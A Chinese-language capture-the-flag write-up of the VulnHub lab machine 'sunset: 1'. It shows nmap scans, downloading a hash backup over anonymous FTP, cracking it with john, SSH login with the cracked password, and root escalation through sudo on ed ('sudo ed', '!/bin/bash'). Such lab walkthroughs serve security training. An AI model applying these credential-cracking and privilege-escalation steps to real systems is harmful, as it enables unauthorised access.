vulnhub靶机-sunset：1

这个靶机比较容易，水一篇，后面接着写这个sunset系列

1、找到靶机ip：192.168.0.122

nmap -sn 192.168.0.0/24

2、扫描靶机端口

oot@kali:~# nmap -sn 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 192.168.0.1
Host is up (0.0016s latency).
MAC Address: 8C:21:0A:BC:02:3C (Tp-link Technologies)
Nmap scan report for 192.168.0.122
Host is up (0.00077s latency).
MAC Address: 08:00:27:F7:B5:F6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.107
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.80 seconds
root@kali:~# nmap -A -p- 192.168.0.122
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-15 17:48 CST
Nmap scan report for 192.168.0.122
Host is up (0.00043s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root         1062 Jul 29  2019 backup
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.0.122:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 71:bd:fa:c5:8c:88:7c:22:14:c4:20:03:32:36:05:d6 (RSA)
|   256 35:92:8e:16:43:0c:39:88:8e:83:0d:e2:2c:a4:65:91 (ECDSA)
|_  256 45:c5:40:14:49:cf:80:3c:41:4f:bb:22:6c:80:1e:fe (ED25519)
MAC Address: 08:00:27:F7:B5:F6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                   
                                                                                                                                          
TRACEROUTE                                                                                                                                
HOP RTT     ADDRESS
1   0.43 ms 192.168.0.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds
root@kali:~# 

3、上面的扫描结果可以发现ftp中有一个backup文件，匿名访问，下载下来，内容如下

office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X.
datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/

4、使用john对上面的密码文件进行破解，下面是没有跑完的，猜测除了sunset其他都是跟用户名一样，应该只有sunset是有用的，毕竟靶机名就叫这个，而且其他的太简单了

root@kali:~# john --format=SHA-512
Password files required, but none specified
root@kali:~# john --format=SHA-512 backup 
Unknown ciphertext format name requested
root@kali:~# john --format=sha512crypt backup --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 5 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
space            (space)
cheer14          (sunset)
sky              (sky)

5、使用sunset/cheer14通过ssh登录，查看/etc/passwd文件，确实没有那些用户，查看家目录下的user.txt文件，得到第一个flag

root@kali:~# ssh [email protected]
[email protected]'s password: 
Linux sunset 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+deb10u1 (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jul 15 05:41:45 2020 from 192.168.0.107
sunset@sunset:~$ ls /home
sunset
sunset@sunset:~$ cat /etc/passwd|grep /bin/bash
root:x:0:0:root:/root:/bin/bash
sunset:x:1000:1000:sunset,,,:/home/sunset:/bin/bash
sunset@sunset:~$ ls
user.txt
sunset@sunset:~$ cat user.txt 
5b5b8e9b01ef27a1cc0a2d5fa87d7190
sunset@sunset:~$ 

6、使用sudo -l命令发现可以免密使用root身份执行ed命令，于是使用ed命令提权，拿到最终的flag

sunset@sunset:~$ sudo -l
Matching Defaults entries for sunset on sunset:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
    (root) NOPASSWD: /usr/bin/ed
sunset@sunset:~$ sudo ed
!/bin/bash
root@sunset:/home/sunset# id
uid=0(root) gid=0(root) groups=0(root)
root@sunset:/home/sunset# cd ~
root@sunset:~# ls
flag.txt  ftp  server.sh
root@sunset:~# cat flag.txt 
25d7ce0ee3cbf71efbac61f85d0c14fe
root@sunset:~#